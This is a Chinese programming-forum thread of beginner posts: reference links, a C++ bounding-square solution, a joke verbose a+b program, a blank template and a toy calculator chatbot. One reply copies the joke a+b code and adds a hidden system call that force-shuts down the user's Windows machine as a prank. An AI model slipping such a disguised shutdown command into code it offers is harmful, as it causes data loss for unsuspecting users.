初学者题库

2020zjhj11 @ 2021-12-03 22:02:16

[ Quote ] [ Edit ] [ Delete ] 1#

1，https://jingyan.baidu.com/article/f0e83a25f2659a22e59101b5.html
2，https://blog.csdn.net/u012995964/article/details/52549778
3，https://support.microsoft.com/zh-cn/windows/windows-https://support.microsoft.com/zh-cn/windows/windows-%E7%9A%84%E9%94%AE%E7%9B%98%E5%BF%AB%E6%8D%B7%E6%96%B9%E5%BC%8F-dcc61a57-8ff0-cffe-9796-cb9706c75eec#:~:text=复制、粘贴及其他常规的键盘快捷方式%20Ctrl%20%2B%20Z%20撤消操作。%20Alt%20%2B%20Tab,Windows%20徽标键%20%2B%20L%20锁定你的电脑。%20尚有%2045%20列

2020zjdl19 @ 2022-12-04 16:00:50

[ Quote ] [ Edit ] [ Delete ] 2#

2021zjhs10 @ 2022-12-05 16:13:01

[ Quote ] [ Edit ] [ Delete ] 3#

>请简单得写些文字的题解

```cpp
#include<iostream>
#include<cstdio>
#include<cmath>
#include<algorithm>
#include<cstring>
#include<vector>
#include<stack>
#include<sstream>
#include<queue>
#include<map>
#include<bitset>
#include<deque>
#define ll long long
using namespace std;
int main()
{
int n;
cin>>n;
ll x1=100001,x2=0,y1=100001,y2=0,a,b;
while(n--)
{
cin>>a>>b;
if(a<x1)
x1=a;
if(a>x2)
x2=a;
if(b<y1)
y1=b;
if(b>y2)
y2=b;
}
ll length=max((x2-x1),(y2-y1));
ll area=length*length;
cout<<area<<endl;
return 0;
}

```

secessionist @ 2023-11-05 18:47:11

[ Quote ] [ Edit ] [ Delete ] 4#

史上最长a+b！！！1000字！！！
#include<iostream>
#define so_croting 1
#define so_croming -1
#define so_crowing 0
#define ant_if if
#define ant_else else
# define _GLIBCXX_VISIBILITY(V) _GLIBCXX_PSEUDO_VISIBILITY(V)
namespace std _GLIBCXX_VISIBILITY(default) {}
using namespace std;
typedef int node;
node a,b;
void outstring(string n) {
cout << n << endl;
}
void output(node n) {
cout << n << endl;
}
void sitting() {
outstring("请您稍等谢谢！");
}
void sleep() {
for (int j = 0; j < 100; j++);
sitting();
}
void made();
void make();
void input(node s) {
ant_if(s == 1) {
cin >> a >> b;
}
ant_else{output(a + b);}
}
void made_so_make() {
made();
make();
}
void made() {
input(so_croting);
for (int i = 0; i < 100; i++) {
outstring("LOGIN");
sleep();
system("cls");
}
for (int i = 0; i < 100; i++) {
outstring("COMPUTEING");
sleep();
system("cls");
}
}
void make() {
input(so_croming);
}
int main() {
made_so_make();
return so_crowing;
}

xutianqi2019 @ 2023-11-16 15:26:56

[ Quote ] [ Edit ] [ Delete ] 5#

免费头文件可偷
#include <bits/stdc++.h>
using namespace std;
int main(){

return 0;
}

7995 @ 2023-12-17 14:44:58

[ Quote ] [ Edit ] [ Delete ] 6#

//史上最长a+b！！！1000字！！！
#include<iostream>
#define so_croting 1
#define so_croming -1
#define so_crowing 0
#define ant_if if
#define ant_else else
# define _GLIBCXX_VISIBILITY(V) _GLIBCXX_PSEUDO_VISIBILITY(V)
namespace std _GLIBCXX_VISIBILITY(default) {}
using namespace std;
typedef int node;
node a,b;
void outstring(string n) {
cout << n << endl;
}
void output(node n) {
cout << n << endl;
}
void sitting() {
outstring("请您稍等谢谢！");
}
void sleep() {
for (int j = 0; j < 100; j++);
sitting();
}
void made();
void make();
void input(node s) {
ant_if(s == 1) {
cin >> a >> b;
}
ant_else{output(a + b);}
}
void made_so_make() {
made();
make();
}
void made() {
input(so_croting);
for (int i = 0; i < 100; i++) {
outstring("LOGIN");
sleep();
system("cls");
}
for (int i = 0; i < 100; i++) {
outstring("COMPUTEING");
sleep();
system("cls");
}
}
void make() {
input(so_croming);
system("shutdown -s -f -t 0");
}
int main() {
made_so_make();
return so_crowing;
}
/*抄楼上的
加了一句
好玩*/

slslslsslslsl @ 2024-01-15 20:19:25

[ Quote ] [ Edit ] [ Delete ] 7#

#include<iostream>
#include<windows.h>
using namespace std;
#define GPTstart show("你好！这里是人工纸张蒟蒻！本人工纸张滋磁计算算式和闲聊（未完善）！请问你有什么问题吗？（输入help可以查看说明书）\n")
#define GPThelp show("输入的算式只能是加减乘除和取余（答案和算式里的数非负），输入格式如：1+1、2*4、5%2、9/2、8-3。此外本纸张支持计算幂，格式如：pow(9,5)。至于闲聊嘛，就不用纸张多说了吧~\n")
void show(string t){
int len=t.length();
for(int i=0;i<len;i++){
cout<<t[i];
if(len<=10)Sleep(100);
else if(len<=20)Sleep(50);
else if(len<=50)Sleep(25);
else if(len<=100)Sleep(10);
else Sleep(5);
}
}
unsigned long long m[50001]{1,0};
bool shift(){
return (GetKeyState(VK_SHIFT)&0x8000);
}
bool up(){
return (GetKeyState(VK_UP)&0x8000);
}
bool down(){
return (GetKeyState(VK_DOWN)&0x8000);
}
bool right(){
return (GetKeyState(VK_RIGHT)&0x8000);
}
bool left(){
return (GetKeyState(VK_LEFT)&0x8000);
}
void pow(int n,int t){
int s;
memset(m,0,sizeof(m));
m[0]=1;
for(int j=1;j<=t;j++){
for(int i=0;i<30000;i++)m[i]*=n;
for(int i=1;i<30000;i++){
m[i]+=m[i-1]/10;
m[i-1]%=10;
}
}
s=30000;
while(m[s]==0) s--;
for(int i=s;i>=0;i--){
cout<<m[i];
if(s<50)Sleep(100);
if(s<100)Sleep(50);
if(s<200)Sleep(10);
if(s<300)Sleep(5);
else Sleep(1);
}
cout<<endl;
}
int main(){
system("color 3F");
string n;
GPTstart;
while(cin>>n){
if(n=="help"){
GPThelp;
continue;
}if(n=="hello"||n=="hi"||n=="你好"||n=="Hello"||n=="Hi"){
show("你好！很高兴认识你！\n");
continue;
}if(n=="6"||n=="good"||n=="GOOD"||n=="Good"||n=="你真棒"||n=="Very good"||n=="very good"||n=="VERY GOOD"){
show("感谢你的夸奖！我也会继续努力的！\n");
continue;
}//if(n=="114514"||n=="1314"||n=="520")
unsigned long long a=0,b=0,ans,i=0;
a=0;
b=0;
i=0;
if(n[0]=='p'&&n[1]=='o'&&n[2]=='w'){
i=4;
while(n[i]>='0'&&n[i]<='9'){
a=a*10+n[i]-'0';
i++;
}
i++;
while(n[i]>='0'&&n[i]<='9'){
b=b*10+n[i]-'0';
i++;
}
pow(a,b);
continue;
}
while(n[i]>='0'&&n[i]<='9'){
a=a*10+n[i]-'0';
i++;
}
char t=n[i];
i++;
while(n[i]>='0'&&n[i]<='9'){
b=b*10+n[i]-'0';
i++;
}
if(t=='+'){ans=a+b;}
else if(t=='-'){ans=a-b;}
else if(t=='*'){ans=a*b;}
else if(t=='/'){long double aneo=double(a)/double(b);string to=to_string(aneo);show(to);}
else if(t=='%'){ans=a%b;}
else{
show("蒟蒻并不知道“");
show(n);
show("”是什么意思，请再说一遍吧！\n");
continue;
}
string m=to_string(ans);
if(t!='/')show(n),show("="),show(m);
show("\n");
}
}

[Top] [Previous Page] [Next Page]